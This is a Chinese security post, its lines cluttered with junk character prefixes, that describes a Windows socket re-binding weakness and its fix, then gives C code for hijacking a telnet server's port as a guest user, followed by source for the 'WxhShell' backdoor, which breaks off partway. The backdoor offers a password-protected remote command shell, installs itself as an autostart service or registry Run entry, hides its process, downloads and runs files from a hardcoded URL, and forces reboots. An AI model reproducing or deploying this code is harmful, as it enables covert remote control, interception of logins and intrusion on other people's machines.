在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<pYGcVB9V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m]N4.J fPK|Nw]b saddr.sin_family = AF_INET;
):LJ {.0R IDE@{Dy saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#B`"B Cl<`uW3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q'+XTal
vxr3|2` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:XBeGNI*# -hp,O?PM 这意味着什么?意味着可以进行如下的攻击:
4p>@UB&U 1.yw\ZC\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
HQ@X"y
n XV %L6x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*[W! ng bMkn(_H)\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<LZvG IMl 3{on$\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q`AJR$L r]BB$^@@V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:;{U2q+ $L:g7?)k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:r^i0g|5P RJF1~9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
,UWO+B] &}:Hp9n #include
B{s[SZ #include
RXl52#: #include
X@af[J[cQ #include
b%,5B DWORD WINAPI ClientThread(LPVOID lpParam);
@%ChPjN int main()
r1ctW#\~8 {
U G^6I5 WORD wVersionRequested;
YIgzFt[L DWORD ret;
c0!bn b WSADATA wsaData;
q*Ns]f'a BOOL val;
;13lu1 SOCKADDR_IN saddr;
Ha)w*1&w" SOCKADDR_IN scaddr;
|;rjr_I int err;
/kx:BoV SOCKET s;
i7e{REBXb SOCKET sc;
D\j1` int caddsize;
dHf_&X2A HANDLE mt;
vWe)c J DWORD tid;
8EbYk2j wVersionRequested = MAKEWORD( 2, 2 );
`j4ukOnG err = WSAStartup( wVersionRequested, &wsaData );
rm3~] if ( err != 0 ) {
i1 SP printf("error!WSAStartup failed!\n");
!ybEv| = return -1;
8C4Tyms }
MfeW| saddr.sin_family = AF_INET;
K.l?R#G`,F z%+?\.oH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lOd[8|/ kwGj7' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m'aw`? saddr.sin_port = htons(23);
.t"s>jq 1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Qf>dfJ^q {
qUpMq:Uw printf("error!socket failed!\n");
@tDVW*! return -1;
z?j~ 2K<4 }
I|Z5*iXqCm val = TRUE;
-BQM i0 //SO_REUSEADDR选项就是可以实现端口重绑定的
(zJ
TBI' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
x-y=Jor {
qZ_^#%zO printf("error!setsockopt failed!\n");
0lmoI4bW}s return -1;
\vFkhm }
H[]j6D //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]C)PZZI=' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
En5I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bB)EJCPq> xOTm-Cm9L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ih ,8'D4 {
: ]CZS ret=GetLastError();
d+2I+O03 printf("error!bind failed!\n");
iKp4@6an return -1;
Pb]s+1 }
N1#*~/sXh listen(s,2);
$D9JsUij while(1)
F P
mLost {
20% xD e caddsize = sizeof(scaddr);
&~$^a1D6 //接受连接请求
er l_Gg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
f*oL8"?u& if(sc!=INVALID_SOCKET)
"=yaeEp {
v,+2CVdW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,p$1n; if(mt==NULL)
4~G9._ {
dVO|q9 / printf("Thread Creat Failed!\n");
tV#x{DN break;
*e_ /D$SC }
;zSh9H }
O;qS3 CloseHandle(mt);
*QjFrw3 }
Q^fli"_: closesocket(s);
(]mN09uE WSACleanup();
,6a'x~y<r return 0;
<bGSr23* }
x,>@IEN7 DWORD WINAPI ClientThread(LPVOID lpParam)
[Y'Xop6G {
,a5I:V^\ SOCKET ss = (SOCKET)lpParam;
/:U\U_j SOCKET sc;
*QAK9mc unsigned char buf[4096];
gtCd#t'(V SOCKADDR_IN saddr;
q7m-} mBN~ long num;
!n)2HDYhx, DWORD val;
/7P4[~vw DWORD ret;
eW7;yH //如果是隐藏端口应用的话,可以在此处加一些判断
"V?U^L>SF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
D_@r_^} saddr.sin_family = AF_INET;
q'K=Ly+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x8zUGvtQ saddr.sin_port = htons(23);
5<ery~q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T:na\y/{j {
f>p;Jh{2fn printf("error!socket failed!\n");
-f Zm_FE return -1;
s)ZL`S?</ }
v>7=T8 val = 100;
2,NQ(c_c$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6PvV X*5T {
kCN9`9XI{ ret = GetLastError();
7z F29gC return -1;
1[X+6viE }
bS*
"C,b~s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%G\rL.H| {
zbi[r ret = GetLastError();
dk{yx(Ty return -1;
?N $ }
`+]4C+w if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BhdJ/C^ {
FeSe^ ^dW printf("error!socket connect failed!\n");
a8Ci 7<V closesocket(sc);
oqUtW3y closesocket(ss);
q|gG{9 return -1;
u4#BD!W }
WI}P(!h\J while(1)
w(.k6:e {
10}\7p8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XQlK}AK //如果是嗅探内容的话,可以再此处进行内容分析和记录
g-Z>1V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;wTl#\|w0 num = recv(ss,buf,4096,0);
m./lrz if(num>0)
|910xd`Z send(sc,buf,num,0);
u]"oGJj1 else if(num==0)
FS`{3d2K + break;
PN0:,.4 num = recv(sc,buf,4096,0);
ic?6p if(num>0)
qBKIl=
ne send(ss,buf,num,0);
t[iE > else if(num==0)
0P%(4t$pd break;
gt'0B-;W }
(AXSQI~y closesocket(ss);
I&R4.;LW closesocket(sc);
m:Z=: -x return 0 ;
\f@PEiARG7 }
1 ljgq]($ ]}KmT"vA l_+s$c ==========================================================
ddlLS eNN% %Q 下边附上一个代码,,WXhSHELL
4wBMBCJ;P )Q6R6xW ==========================================================
3xV 9s5CqB #include "stdafx.h"
g3Kc? wTC G~u94rw|: #include <stdio.h>
4J-)+C/edx #include <string.h>
ZqS'xN:k #include <windows.h>
7P=1+2V #include <winsock2.h>
2-]gHAw% #include <winsvc.h>
ihf5`mk/$ #include <urlmon.h>
3vNo D |2{y'?, #pragma comment (lib, "Ws2_32.lib")
qK;n>BTe #pragma comment (lib, "urlmon.lib")
@x"vGYKd LnrR#fF]Z #define MAX_USER 100 // 最大客户端连接数
rv:,Os_ #define BUF_SOCK 200 // sock buffer
c?>Q!sC #define KEY_BUFF 255 // 输入 buffer
vL\wA_z"<H eP[azC"G[ #define REBOOT 0 // 重启
rK}*Uwut #define SHUTDOWN 1 // 关机
:6N{~ [:4 H:y.7 #define DEF_PORT 5000 // 监听端口
dl(cYP8L f=g/_R2$xN #define REG_LEN 16 // 注册表键长度
^<[oKi;> #define SVC_LEN 80 // NT服务名长度
!u>29VN 4TC
!P} // 从dll定义API
2+
>.Z.pX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4N*Fq!k~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l|U=(aA]h typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KzI$GU3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q5{i#F7nJm {u3^#kF // wxhshell配置信息
Hc5@gN struct WSCFG {
h^?[:XBeav int ws_port; // 监听端口
sAC1Pda char ws_passstr[REG_LEN]; // 口令
y{U'\ int ws_autoins; // 安装标记, 1=yes 0=no
!)_80O1 char ws_regname[REG_LEN]; // 注册表键名
6&$z!60 char ws_svcname[REG_LEN]; // 服务名
Lt|k}p@] char ws_svcdisp[SVC_LEN]; // 服务显示名
UH.M)br char ws_svcdesc[SVC_LEN]; // 服务描述信息
I_'vVbK+> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%L<VnY#%u int ws_downexe; // 下载执行标记, 1=yes 0=no
jO<K0cc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
BLuILE:$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s1:UCv-% !T6oD]x3 };
p,$1%/m {cq; SH // default Wxhshell configuration
o @~XX@5l struct WSCFG wscfg={DEF_PORT,
$2 ~A^#"0 "xuhuanlingzhe",
F+*:
>@3 1,
)Xl/|YD "Wxhshell",
VG q' "Wxhshell",
y<8)mw "WxhShell Service",
E/Eny5 "Wrsky Windows CmdShell Service",
IAhyGD{b "Please Input Your Password: ",
2
os&d| 1,
I6{}S6 "
http://www.wrsky.com/wxhshell.exe",
EX=+TOkAf "Wxhshell.exe"
=pN?h<dc };
P[%
W[E< 86vk" // 消息定义模块
n"(n*Hf7b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
k "'q char *msg_ws_prompt="\n\r? for help\n\r#>";
+, p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
L8TT54fM char *msg_ws_ext="\n\rExit.";
#O\4XZ,Lv char *msg_ws_end="\n\rQuit.";
E6y/,s^~S_ char *msg_ws_boot="\n\rReboot...";
gB71~A{J char *msg_ws_poff="\n\rShutdown...";
Y}(v[QGV char *msg_ws_down="\n\rSave to ";
8/ZJkI leg@ia char *msg_ws_err="\n\rErr!";
Bx j6/a7Xd char *msg_ws_ok="\n\rOK!";
573wK~9oMh aq0J }4U char ExeFile[MAX_PATH];
CZxQz
int nUser = 0;
no)Spo' HANDLE handles[MAX_USER];
}\OLBg/ int OsIsNt;
<!-8g! (
y'i{:B SERVICE_STATUS serviceStatus;
IP-CN SERVICE_STATUS_HANDLE hServiceStatusHandle;
_ZC4O&fL =@G#c5H* // 函数声明
M!;H3* int Install(void);
2RT9Q!BX{ int Uninstall(void);
Pb+oV int DownloadFile(char *sURL, SOCKET wsh);
xXp\U'Ad~~ int Boot(int flag);
%pt ul_(s' void HideProc(void);
ubj
~ULA int GetOsVer(void);
`m`jX|` int Wxhshell(SOCKET wsl);
hc`9Y void TalkWithClient(void *cs);
C W7E2
^P$ int CmdShell(SOCKET sock);
A5F< < int StartFromService(void);
lWd)(9Kj int StartWxhshell(LPSTR lpCmdLine);
^$`xUKp`pn Rr|VGtg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
T,`'qZ> VOID WINAPI NTServiceHandler( DWORD fdwControl );
MDGcK/$')f J55K+ // 数据结构和表定义
A
WMR0I SERVICE_TABLE_ENTRY DispatchTable[] =
3k5Mty {
bxqXFy/I {wscfg.ws_svcname, NTServiceMain},
F2AM/m^!q {NULL, NULL}
<E&1HeP };
+}I[l,,xy h"
P4 // 自我安装
?G*XZ0u~ int Install(void)
I&q:w\\z8| {
z%`Tf&UL char svExeFile[MAX_PATH];
C!Y|k.`p HKEY key;
{{tH$j?Q strcpy(svExeFile,ExeFile);
-]+XTsL +T"kx\< // 如果是win9x系统,修改注册表设为自启动
818</b<yn if(!OsIsNt) {
.gG<08Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
agM.-MK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
slOki|p; RegCloseKey(key);
%+Z0$Q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(+>+@G~o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eW1$;.^ RegCloseKey(key);
Ty*ec%U9F return 0;
% 95:yyH 0 }
#fk)Y1 }
!|9$ }
(W5E\hjJ else {
Y)hLu:P]
U#Wc!QN-t // 如果是NT以上系统,安装为系统服务
J=
ia SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
x
+q"%9.c if (schSCManager!=0)
*O)_D
bj {
Y
H
2iV SC_HANDLE schService = CreateService
A AH-Dj|&l (
LJc
w-> schSCManager,
S/G,A,"c wscfg.ws_svcname,
U^+9l?ol wscfg.ws_svcdisp,
?"{+m SERVICE_ALL_ACCESS,
!6@xX08z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{l0;G)- SERVICE_AUTO_START,
+h9UV SERVICE_ERROR_NORMAL,
+&4PGv53J svExeFile,
l0U6eOx NULL,
h:z;b; NULL,
-E2[PW4$ NULL,
k{s#wJA NULL,
Av.(i2 NULL
o!q9pt );
it&c
,+8 if (schService!=0)
Wey-nsk {
o*qEAy? CloseServiceHandle(schService);
FT[oM<M\Xd CloseServiceHandle(schSCManager);
0s$g[Fw<. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0k:&7(j strcat(svExeFile,wscfg.ws_svcname);
@E,{p"{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q-o=lU" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#_2V@F+, RegCloseKey(key);
[9BlP return 0;
"2HRuqf }
d%t]:41=Z }
,h#!!j\j6 CloseServiceHandle(schSCManager);
W#u}d2mP }
>u*woNw(XM }
d=oOMXYa O .TFV. return 1;
]N!SG@X+ }
7Kk rfJqN Kp~k!6x // 自我卸载
D4
{gt\V int Uninstall(void)
(PsA[>F {
#7lkj:j4 HKEY key;
fOE:~3Q i#kRVua/ if(!OsIsNt) {
66p_d'U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q,#M
0 RegDeleteValue(key,wscfg.ws_regname);
@T;O^rE~N RegCloseKey(key);
l]sO[`X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O<6/0ub&+h RegDeleteValue(key,wscfg.ws_regname);
{)4Vv`n RegCloseKey(key);
puZ<cV
e/ return 0;
"'t<R}t!A }
4TwU0N+> }
gW/H#T, }
h,FP,w;G else {
d2.n^Q"?3 AU87cqq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
B|:{.U@ne if (schSCManager!=0)
;jX_e(T3m {
:vurU$\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
o&(%:| if (schService!=0)
ngeX+@ {
OUI}jJw+ if(DeleteService(schService)!=0) {
5Hr(9) CloseServiceHandle(schService);
JGj_{|=: CloseServiceHandle(schSCManager);
!PUhdW return 0;
MYN1zYT6j }
OQ+?nB CloseServiceHandle(schService);
mG?a)P }
zE<vFP-1v CloseServiceHandle(schSCManager);
AQQj]7Y }
ZN1QTb }
,P auP~L 1+y&n? return 1;
f{3FoN=z }
}Ecm 'O{hr0q} // 从指定url下载文件
1d\K{ 7i# int DownloadFile(char *sURL, SOCKET wsh)
5)T{iPU%X {
(/@o7&>*50 HRESULT hr;
P]6pPS char seps[]= "/";
//wmJ | char *token;
A=XM(2{aN char *file;
A)`M*(~ char myURL[MAX_PATH];
0
?2#SM char myFILE[MAX_PATH];
F&cA!~ u{H_q&1 strcpy(myURL,sURL);
%+pXzw`B token=strtok(myURL,seps);
P `2Rte6s while(token!=NULL)
(>;~((2 {
\H" (*["& file=token;
IL>g- token=strtok(NULL,seps);
Wq,UxMz }
G53!wIW2: NEGpf[$ GetCurrentDirectory(MAX_PATH,myFILE);
4tu2%Og)? strcat(myFILE, "\\");
>Zr/U!W*? strcat(myFILE, file);
\{UiGCK send(wsh,myFILE,strlen(myFILE),0);
l;|1C[V send(wsh,"...",3,0);
0j_!)B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'fVk1Qj^ if(hr==S_OK)
GGLVv) return 0;
}>0UaK else
\lY26' return 1;
w6wXe_N+M OKf/[hyu }
;$%+TN
Pt1Htt:BE // 系统电源模块
aqyXxJS8 int Boot(int flag)
P,># {
p1|@F^Q HANDLE hToken;
H>Fy 2w TOKEN_PRIVILEGES tkp;
CV&
SNA 90ORx\Oeo if(OsIsNt) {
4Yn*q~f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h[lh01z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N86Hn]# tkp.PrivilegeCount = 1;
lq%s/l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#[i({1`^L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xknP
`T if(flag==REBOOT) {
=E,*8O] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
sX**'cH return 0;
W5yqnjK
$4 }
Fh?q;oEj else {
;XTP^W!6f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Af
-{' return 0;
6~2!ZU }
$Z;0/\r% }
EL+}ab2S else {
M@gm.)d if(flag==REBOOT) {
z{%G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8<g5.$xyz return 0;
e{?~m6 }
( E0be. else {
k@wxN!w; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)D#*Q~ return 0;
YL{LdM-xM }
:|fzGf }
QzV:^!0J | 9(uiWf return 1;
4W1"=VL[g }
|\b*p:el K(Cv9YQ // win9x进程隐藏模块
gGZ$}vX void HideProc(void)
p oNQ<ijK {
l$zM|Z1wR` PVU(RJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g@S"!9[;U if ( hKernel != NULL )
G_X'd {
ci*Z9&eS+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
X"[c[YT!%[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>Ks| yNJ FreeLibrary(hKernel);
TYB^CVSZ }
P [gqv3V D+k5e= return;
scA&:y }
pET5BMxGG <)"Mi}Q[)p // 获取操作系统版本
gE:qMs; int GetOsVer(void)
%+`$Lb?{ {
XRaq\a`=: OSVERSIONINFO winfo;
$_<,bC1[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Q Zd
,GY5{ GetVersionEx(&winfo);
{
\Q'eL8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P+oZS return 1;
tTP"*Bb else
}t]CDa_n return 0;
-,p(PK }
PCD1I98 Y.=v!*p?} // 客户端句柄模块
Rb\\6BU0 int Wxhshell(SOCKET wsl)
U*,5t81 {
$%sOL(
r SOCKET wsh;
6R#f 8 struct sockaddr_in client;
- x7b6o>$ DWORD myID;
!R4`ihi1 &{"aD& while(nUser<MAX_USER)
hPH=.rX {
UX(#C,qgG int nSize=sizeof(client);
Au:Q4x. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3;#v$F8R if(wsh==INVALID_SOCKET) return 1;
h*&-[nSo lB3W|-Ci handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LL.YkYu if(handles[nUser]==0)
Rsqb<+7 closesocket(wsh);
ULAAY$o@5 else
7X1T9'jI2 nUser++;
Xgc@cwd }
qifX7AXHr WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-Vw,9VCF `&j5/[>v return 0;
R~;<}!Gtx }
nKufVe tE- s/ // 关闭 socket
g)2}`} void CloseIt(SOCKET wsh)
A=E1S{C {
sy#CR4X closesocket(wsh);
Qnph?t> nUser--;
[,$] %|6wt ExitThread(0);
b6Dve] }
kW5g]Q De\&r~bTW9 // 客户端请求句柄
Ll%[}C?~]? void TalkWithClient(void *cs)
$^}?98m {
{_l@ws Bo_Ivhe[m SOCKET wsh=(SOCKET)cs;
GuNzrKDr char pwd[SVC_LEN];
h0d;a char cmd[KEY_BUFF];
1Y\g{A" char chr[1];
KR%DpQ&{' int i,j;
@'s^ fD]}&xc while (nUser < MAX_USER) {
WFULQQ* GR Rv0M if(wscfg.ws_passstr) {
-T`rk~A9A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DNC2]kS< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8"Hy'JA$O //ZeroMemory(pwd,KEY_BUFF);
{Jwh .bJ i=0;
t|%wVj?_ while(i<SVC_LEN) {
f9F@G&&Ugg +A3@{2 // 设置超时
| Fm( fd_set FdRead;
uI!rJc>TX struct timeval TimeOut;
O}"VK FD_ZERO(&FdRead);
m "h{HgJd FD_SET(wsh,&FdRead);
seB ^o} TimeOut.tv_sec=8;
a9` E&Q}z TimeOut.tv_usec=0;
v&D^N9hy9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
tc.R(F96 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5ZSV)$t kW3V"twx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6`+dP"@ pwd
=chr[0]; 1c8J yp
if(chr[0]==0xd || chr[0]==0xa) { lqTTTk
pwd=0; y}FTLX $
break; tQ&.;{5[f
} OV_Y`u7YR
i++; NVAt-u0LB
} [?Wt ZM^q
# 4L[8(+V
// 如果是非法用户,关闭 socket odD^xg"L
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d dkh*[
} (i^{\zv
?k
CK$P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uckag/tv
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z:{'IY
^OnU;8IC
while(1) { N0,wT6.
4p\<b8(9>
ZeroMemory(cmd,KEY_BUFF); XXBN
Nr_CK
Y!N*J
// 自动支持客户端 telnet标准
yl0&|Ub
j=0; 33z)F
while(j<KEY_BUFF) {
XCc/\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^mz&L|h
cmd[j]=chr[0]; ;P3sDN
if(chr[0]==0xa || chr[0]==0xd) { q\cH+n)C
cmd[j]=0; d!mtSOh
break; -!f)P=S
} DK;p6_tT
j++; xb1 i{d
} WvQK$}Ax4N
~8L*N>Y
// 下载文件 ?-1r$z
if(strstr(cmd,"http://")) { Ab ,n^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >>oR@
if(DownloadFile(cmd,wsh)) Y&!M#7/'J3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i`U:uwW`
else V3DXoRE-8i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /`McKYIP
} _:DnF
else { {|nm0vg`A
"Ah (EZAR
switch(cmd[0]) { QWz5iM
$N4%I4
// 帮助 t[* ;v
case '?': { nm5zX,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ZX"gHx
break; })RT2zw}
} {5w'.Z]0v
// 安装 U+: o y:mz
case 'i': { +EK(r@eV
if(Install()) 3
r4QB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7ADh
else HEdOo~/~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x dDR/KS
break; |:yQOq|
} <{!^
// 卸载 q ,6 y{RyS
case 'r': { 5(e?,B }
if(Uninstall()) 7.g)_W{7}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X{KWBk.1
else gSLwpIK%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5dOA^P@`,M
break; hpp>+=
} Xb +)@Y4h
// 显示 wxhshell 所在路径 *%<Ku&C
case 'p': { YF/@]6j
char svExeFile[MAX_PATH]; {T|sU\| Q
strcpy(svExeFile,"\n\r"); cfI5KLG~#
strcat(svExeFile,ExeFile); [GKSQt{)
send(wsh,svExeFile,strlen(svExeFile),0); ^@f%A<
break; 0w^\sf%s
} ZK,}3b{
// 重启 w}n:_e
case 'b': { ]yu,YZ@7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3l5rUjRwj
if(Boot(REBOOT)) #;cDPBv*wS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KQ'fp:5|/@
else { .C=&`;Vs
closesocket(wsh); Y^5X>
ExitThread(0); obWBX'
} "a;z
break; St/<\Y,wr
} {6MLbL{
// 关机 C {.{>M
case 'd': { _|%pe]St
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #:Z"V8n'
if(Boot(SHUTDOWN)) XgY( Vv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qT]Bl+h2
else { iw1((&^)"
closesocket(wsh); o%#Z
ExitThread(0); K0B
J
} #k? Rl
break; _YF~DU
} N,v4SIC@
// 获取shell dbU
case 's': { h.0Y!'?
CmdShell(wsh); 5MY+O\
closesocket(wsh); V+M2Gf
ExitThread(0); bm1+|gssn
break; cGSoAK
} W}B4^l
// 退出 [{3WHS.
case 'x': { <()xO(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $$C5Q;7w!
CloseIt(wsh);
v|+}>g
break; 5wXe^G
} .&2p Z
// 离开 {m5tgVi&
case 'q': { wqDRFZ1*P
send(wsh,msg_ws_end,strlen(msg_ws_end),0); g*8LdH6mq
closesocket(wsh); EFeG[bxM
WSACleanup(); !NuYx9L?L
exit(1); it!i'lG
break; !fdni}f)
} y$@d%U*rW^
} qmUq9bV
} Sd'Meebu
$IUP;
// 提示信息 DJgk"'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gjuc"JR7
} AfvTStwr
} j}YZl@dYV
rN?
L8
return; -F,o@5W>Y
} N]cGJU>$
Y+N^_2@+C
// shell模块句柄 gOw|s1`2,
int CmdShell(SOCKET sock) ~D@pk>I
{ } {/4sll
STARTUPINFO si; ~h -G
ZeroMemory(&si,sizeof(si)); =0xuH>WY}w
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Avw"[~Xd
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9[5NnRv$P
PROCESS_INFORMATION ProcessInfo; .FK'TG
char cmdline[]="cmd"; &B3Eq1A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {y0*cC
return 0; Y.rHl4
} {(G@YG?
%o<&O(Y
// 自身启动模式 #FF5xe
int StartFromService(void) 'T[=Uuj"
{ [ANit0-~
typedef struct 1DcYc-k#
{ Y>!9P\Xe
DWORD ExitStatus; S4<@ji
DWORD PebBaseAddress; &:L8; m
DWORD AffinityMask; P,AS`=z
DWORD BasePriority; 9\TvX!)h
ULONG UniqueProcessId; `h5HA-ud
ULONG InheritedFromUniqueProcessId; `g%]z@'+?
